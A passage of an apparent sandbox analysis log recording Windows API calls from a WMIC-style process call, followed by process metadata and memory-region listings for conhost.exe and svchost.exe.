_Format="%s" | out: _File=0x77451228) returned 15 [0155.453] __iob_func () returned 0x77451208 [0155.453] fflush (in: _File=0x77451228 | out: _File=0x77451228) returned 0 [0155.453] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 752;\n\x09ReturnValue = 0;\n};\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0155.453] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 752;\n\x09ReturnValue = 0;\n};\n", cchWideChar=-1, lpMultiByteStr=0x449930, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 752;\n\x09ReturnValue = 0;\n};\n", lpUsedDefaultChar=0x0) returned 68 [0155.453] ??YCHString@@QAEABV0@PBG@Z () returned 0xcc95ec [0155.453] __iob_func () returned 0x77451208 [0155.453] fprintf (in: _File=0x77451228, _Format="%s" | out: _File=0x77451228) returned 67 [0155.454] __iob_func () returned 0x77451208 [0155.454] fflush (in: _File=0x77451228 | out: _File=0x77451228) returned 0 [0155.454] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0155.454] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=-1, lpMultiByteStr=0x44a430, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 2 [0155.454] ??YCHString@@QAEABV0@PBG@Z () returned 0xcc95ec [0155.454] __iob_func () returned 0x77451208 [0155.454] fprintf (in: _File=0x77451248, _Format="%s" | out: _File=0x77451248) returned 1 [0155.454] __iob_func () returned 0x77451208 [0155.454] fflush (in: _File=0x77451248 | out: _File=0x77451248) returned 0 [0155.455] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.455] IUnknown:Release (This=0x325880) returned 0x1 [0155.455] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.455] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.455] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.455] GetCurrentThreadId () returned 0x134 [0155.455] ??0CHString@@QAE@PBG@Z () returned 0xef944 [0155.455] ??YCHString@@QAEABV0@PBG@Z () returned 0xef944 [0155.455] lstrlenW (lpString="LIST") returned 4 [0155.455] lstrlenW (lpString="call") returned 4 [0155.455] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0155.455] lstrlenW (lpString="ASSOC") returned 5 [0155.455] lstrlenW (lpString="call") returned 4 [0155.455] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0155.455] lstrlenW (lpString="GET") returned 3 [0155.455] lstrlenW (lpString="call") returned 4 [0155.455] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0155.455] ??1CHString@@QAE@XZ () returned 0x1 [0155.455] IUnknown:Release (This=0x2e3578) returned 0x0 [0155.456] ?Empty@CHString@@QAEXXZ () returned 0x73336430 [0155.456] _kbhit () returned 0x0 [0155.457] IUnknown:Release (This=0x325880) returned 0x0 [0155.457] ?Empty@CHString@@QAEXXZ () returned 0x73336424 [0155.457] WbemLocator:IUnknown:Release (This=0x2c5c98) returned 0x2 [0155.457] IUnknown:Release (This=0x2e30c8) returned 0x0 [0155.457] IUnknown:Release (This=0x2e3668) returned 0x0 [0155.458] WbemLocator:IUnknown:Release (This=0x2c5c98) returned 0x1 [0155.458] ?Empty@CHString@@QAEXXZ () returned 0x73336424 [0155.458] WbemLocator:IUnknown:Release (This=0x2c5c98) returned 0x0 [0155.459] CoUninitialize () [0155.498] exit (_Code=0) [0155.498] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.498] ??1CHString@@QAE@XZ () returned 0x73336430 Thread: id = 105 os_tid = 0x7ac Thread: id = 106 os_tid = 0xb9c Thread: id = 107 os_tid = 0x248 Thread: id = 108 os_tid = 0x2c0 Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6a1a0000" os_pid = "0x57c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x784" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4864 start_va = 0x7feff000 end_va = 0x7fefffff entry_point = 0x0 region_type = private name = "private_0x000000007feff000" filename = "" Region: id = 4865 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4866 start_va = 0xd0501b0000 end_va = 0xd0501cffff entry_point = 0x0 region_type = private name = "private_0x000000d0501b0000" filename = "" Region: id = 4867 start_va = 0xd0501d0000 end_va = 0xd0501e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d0501d0000" filename = "" Region: id = 4868 start_va = 0xd0501f0000 end_va = 0xd05022ffff entry_point = 0x0 region_type = private name = "private_0x000000d0501f0000" filename = "" Region: id = 4869 start_va = 0x7df5ffef0000 end_va = 0x7ff5ffeeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffef0000" filename = "" Region: id = 4870 start_va = 0x7ff707c60000 end_va = 0x7ff707c82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707c60000" filename = "" Region: id = 4871 start_va = 0x7ff707c85000 end_va = 0x7ff707c85fff entry_point = 0x0 region_type = private name = "private_0x00007ff707c85000" filename = "" Region: id = 4872 start_va = 0x7ff707c8e000 end_va = 0x7ff707c8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff707c8e000" filename = "" Region: id = 4873 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 4874 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4875 start_va = 0xd050240000 end_va = 0xd05033ffff entry_point = 0x0 region_type = private name = "private_0x000000d050240000" filename = "" Region: id = 4876 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4877 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4878 start_va = 0xd0501b0000 end_va = 0xd0501bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d0501b0000" filename = "" Region: id = 4879 start_va = 0xd050340000 end_va = 0xd0503fdfff entry_point = 0xd050340000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4880 start_va = 0xd050400000 end_va = 0xd05043ffff entry_point = 0x0 region_type = private name = "private_0x000000d050400000" filename = "" Region: id = 4881 start_va = 0x7ff707b60000 end_va = 0x7ff707c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707b60000" filename = "" Region: id = 4882 start_va = 0x7ff707c8c000 end_va = 0x7ff707c8dfff entry_point = 0x0 region_type = private name = "private_0x00007ff707c8c000" filename = "" Region: id = 4883 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4884 start_va = 0xd0501c0000 end_va = 0xd0501c6fff entry_point = 0x0 region_type = private name = "private_0x000000d0501c0000" filename = "" Region: id = 4885 start_va = 0xd050230000 end_va = 0xd050230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d050230000" filename = "" Region: id = 4886 start_va = 0xd050440000 end_va = 0xd050446fff entry_point = 0x0 region_type = private name = "private_0x000000d050440000" filename = "" Region: id = 4887 start_va = 0xd0504e0000 end_va = 0xd0504effff entry_point = 0x0 region_type = private name = "private_0x000000d0504e0000" filename = "" Region: id = 4888 start_va = 0x7ff9e0000000 end_va = 0x7ff9e0052fff entry_point = 0x7ff9e0000000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 4889 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4890 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4891 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4892 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4893 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4894 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4895 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4896 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4897 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4898 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4899 start_va = 0xd050450000 end_va = 0xd050450fff entry_point = 0x0 region_type = private name = "private_0x000000d050450000" filename = "" Region: id = 4900 start_va = 0xd050460000 end_va = 0xd050460fff entry_point = 0x0 region_type = private name = "private_0x000000d050460000" filename = "" Region: id = 4901 start_va = 0xd050470000 end_va = 0xd0504affff entry_point = 0x0 region_type = private name = "private_0x000000d050470000" filename = "" Region: id = 4902 start_va = 0xd0504f0000 end_va = 0xd050677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d0504f0000" filename = "" Region: id = 4903 start_va = 0xd050680000 end_va = 0xd050800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d050680000" filename = "" Region: id = 4904 start_va = 0xd050810000 end_va = 0xd051c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d050810000" filename = "" Region: id = 4905 start_va = 0xd051c90000 end_va = 0xd051c9ffff entry_point = 0x0 region_type = private name = "private_0x000000d051c90000" filename = "" Region: id = 4906 start_va = 0x7ff707c8a000 end_va = 0x7ff707c8bfff entry_point = 0x0 region_type = private name = "private_0x00007ff707c8a000" filename = "" Region: id = 4907 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4908 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4909 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4910 start_va = 0x7ff9eb520000 end_va = 0x7ff9eb5d2fff entry_point = 0x7ff9eb520000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 4911 start_va = 0x7ff9eb5e0000 end_va = 0x7ff9ebc07fff entry_point = 0x7ff9eb5e0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 4912 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4913 start_va = 0x7ff9ecb70000 end_va = 0x7ff9ee094fff entry_point = 0x7ff9ecb70000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 4914 start_va = 0x7ff9ee660000 end_va = 0x7ff9ee6b0fff entry_point = 0x7ff9ee660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Thread: id = 101 os_tid = 0x89c Thread: id = 102 os_tid = 0x880 Thread: id = 103 os_tid = 0x888 Thread: id = 104 os_tid = 0x1b4 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x729a4000" os_pid = "0x324" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x784" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b84b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 5002 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5003 start_va = 0x3f70b80000 end_va = 0x3f70b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f70b80000" filename = "" Region: id = 5004 start_va = 0x3f70b90000 end_va = 0x3f70b90fff entry_point = 0x3f70b90000 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 5005 start_va = 0x3f70ba0000 end_va = 0x3f70bb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f70ba0000" filename = "" Region: id = 5006 start_va = 0x3f70bc0000 end_va = 0x3f70c3ffff entry_point = 0x0 region_type = private name = "private_0x0000003f70bc0000" filename = "" Region: id = 5007 start_va = 0x3f70c40000 end_va = 0x3f70c43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f70c40000" filename = "" Region: id = 5008 start_va = 0x3f70c50000 end_va = 0x3f70c50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f70c50000" filename = "" Region: id = 5009 start_va = 0x3f70c60000 end_va = 0x3f70c61fff entry_point = 0x0 region_type = private name = "private_0x0000003f70c60000" filename = "" Region: id = 5010 start_va = 0x3f70c70000 end_va = 0x3f70d2dfff entry_point = 0x3f70c70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5011 start_va = 0x3f70d30000 end_va = 0x3f70daffff entry_point = 0x0 region_type = private name = "private_0x0000003f70d30000" filename = "" Region: id = 5012 start_va = 0x3f70db0000 end_va = 0x3f70db0fff entry_point = 0x0 region_type = private name = "private_0x0000003f70db0000" filename = "" Region: id = 5013 start_va = 0x3f70dc0000 end_va = 0x3f70dc6fff entry_point = 0x0 region_type = private name = "private_0x0000003f70dc0000" filename = "" Region: id = 5014 start_va = 0x3f70dd0000 end_va = 0x3f70dd0fff entry_point = 0x0 region_type = private name = "private_0x0000003f70dd0000" filename = "" Region: id = 5015 start_va = 0x3f70de0000 end_va = 0x3f70de6fff entry_point = 0x0 region_type = private name = "private_0x0000003f70de0000" filename = "" Region: id = 5016 start_va = 0x3f70df0000 end_va = 0x3f70df0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f70df0000" filename = "" Region: id = 5017 start_va = 0x3f70e00000 end_va = 0x3f70efffff entry_point = 0x0 region_type = private name = "private_0x0000003f70e00000" filename = "" Region: id = 5018 start_va = 0x3f70f00000 end_va = 0x3f70ffffff entry_point = 0x0 region_type = private name = "private_0x0000003f70f00000" filename = "" Region: id = 5019 start_va = 0x3f71000000 end_va = 0x3f71187fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f71000000" filename = "" Region: id = 5020 start_va = 0x3f71190000 end_va = 0x3f71310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f71190000" filename = "" Region: id = 5021 start_va = 0x3f71320000 end_va = 0x3f713dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f71320000" filename = "" Region: id = 5022 start_va = 0x3f713e0000 end_va = 0x3f714dffff entry_point = 0x0 region_type = private name = "private_0x0000003f713e0000" filename = "" Region: id = 5023 start_va = 0x3f714e0000 end_va = 0x3f715dffff entry_point = 0x0 region_type = private name = "private_0x0000003f714e0000" filename = "" Region: id = 5024 start_va = 0x3f715e0000 end_va = 0x3f715e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f715e0000" filename = "" Region: id = 5025 start_va = 0x3f715f0000 end_va = 0x3f715f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f715f0000" filename = "" Region: id = 5026 start_va = 0x3f71600000 end_va = 0x3f71600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f71600000" filename = "" Region: id = 5027 start_va = 0x3f71610000 end_va = 0x3f71611fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f71610000" filename = "" Region: id = 5028 start_va = 0x3f71620000 end_va = 0x3f7162cfff entry_point = 0x3f71620000 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 5029 start_va = 0x3f71630000 end_va = 0x3f71633fff entry_point = 0x3f71630000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5030 start_va = 0x3f71640000 end_va = 0x3f71643fff entry_point = 0x3f71640000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5031 start_va = 0x3f71650000 end_va = 0x3f71656fff entry_point = 0x0 region_type = private name = "private_0x0000003f71650000" filename = "" Region: id = 5032 start_va = 0x3f71660000 end_va = 0x3f71666fff entry_point = 0x0 region_type = private name = "private_0x0000003f71660000" filename = "" Region: id = 5033 start_va = 0x3f71670000 end_va = 0x3f716effff entry_point = 0x0 region_type = private name = "private_0x0000003f71670000" filename = "" Region: id = 5034 start_va = 0x3f716f0000 end_va = 0x3f716fcfff entry_point = 0x3f716f0000 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5035 start_va = 0x3f71700000 end_va = 0x3f717fffff entry_point = 0x0 region_type = private name = "private_0x0000003f71700000" filename = "" Region: id = 5036 start_va = 0x3f71800000 end_va = 0x3f71b36fff entry_point = 0x3f71800000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5037 start_va = 0x3f71b40000 end_va = 0x3f71c3ffff entry_point = 0x0 region_type = private name = "private_0x0000003f71b40000" filename = "" Region: id = 5038 start_va = 0x3f71c40000 end_va = 0x3f71d3ffff entry_point = 0x0 region_type = private name = "private_0x0000003f71c40000" filename = "" Region: id = 5039 start_va = 0x3f71d40000 end_va = 0x3f71e3ffff entry_point = 0x0 region_type = private name = "private_0x0000003f71d40000" filename = "" Region: id = 5040 start_va = 0x3f71e40000 end_va = 0x3f71f3ffff entry_point = 0x0 region_type = private name = "private_0x0000003f71e40000" filename = "" Region: id = 5041 start_va = 0x3f71f40000 end_va = 0x3f7203ffff entry_point = 0x0 region_type = private name = "private_0x0000003f71f40000" filename = "" Region: id = 5042 start_va = 0x3f72040000 end_va = 0x3f720bffff entry_point = 0x0 region_type = private name = "private_0x0000003f72040000" filename = "" Region: id = 5043 start_va = 0x3f720c0000 end_va = 0x3f720d0fff entry_point = 0x3f720c0000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 5044 start_va = 0x3f720e0000 end_va = 0x3f720e8fff entry_point = 0x3f720e0000 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 5045 start_va = 0x3f720f0000 end_va = 0x3f720f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f720f0000" filename = "" Region: id = 5046 start_va = 0x3f72100000 end_va = 0x3f721fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72100000" filename = "" Region: id = 5047 start_va = 0x3f72200000 end_va = 0x3f722fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72200000" filename = "" Region: id = 5048 start_va = 0x3f72380000 end_va = 0x3f723fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72380000" filename = "" Region: id = 5049 start_va = 0x3f72400000 end_va = 0x3f724fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72400000" filename = "" Region: id = 5050 start_va = 0x3f72500000 end_va = 0x3f725fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72500000" filename = "" Region: id = 5051 start_va = 0x3f72600000 end_va = 0x3f7267ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72600000" filename = "" Region: id = 5052 start_va = 0x3f72680000 end_va = 0x3f7277ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72680000" filename = "" Region: id = 5053 start_va = 0x3f72780000 end_va = 0x3f727fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72780000" filename = "" Region: id = 5054 start_va = 0x3f72800000 end_va = 0x3f728fffff entry_point = 0x0 region_type = private name = "private_0x0000003f72800000" filename = "" Region: id = 5055 start_va = 0x3f72900000 end_va = 0x3f72942fff entry_point = 0x3f72900000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000007.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000007.db") Region: id = 5056 start_va = 0x3f72950000 end_va = 0x3f729dafff entry_point = 0x3f72950000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 5057 start_va = 0x3f729e0000 end_va = 0x3f72adffff entry_point = 0x0 region_type = private name = "private_0x0000003f729e0000" filename = "" Region: id = 5058 start_va = 0x3f72ae0000 end_va = 0x3f72b5ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72ae0000" filename = "" Region: id = 5059 start_va = 0x3f72b60000 end_va = 0x3f72c5ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72b60000" filename = "" Region: id = 5060 start_va = 0x3f72c60000 end_va = 0x3f72d5ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72c60000" filename = "" Region: id = 5061 start_va = 0x3f72d60000 end_va = 0x3f72e5ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72d60000" filename = "" Region: id = 5062 start_va = 0x3f72e60000 end_va = 0x3f72edffff entry_point = 0x0 region_type = private name = "private_0x0000003f72e60000" filename = "" Region: id = 5063 start_va = 0x3f72ee0000 end_va = 0x3f72f5ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72ee0000" filename = "" Region: id = 5064 start_va = 0x3f72f60000 end_va = 0x3f72fdffff entry_point = 0x0 region_type = private name = "private_0x0000003f72f60000" filename = "" Region: id = 5065 start_va = 0x3f72fe0000 end_va = 0x3f7305ffff entry_point = 0x0 region_type = private name = "private_0x0000003f72fe0000" filename = "" Region: id = 5066 start_va = 0x3f73060000 end_va = 0x3f730dffff entry_point = 0x0 region_type = private name = "private_0x0000003f73060000" filename = "" Region: id = 5067 start_va = 0x3f730e0000 end_va = 0x3f730e1fff entry_point = 0x3f730e0000 region_type = mapped_file name = 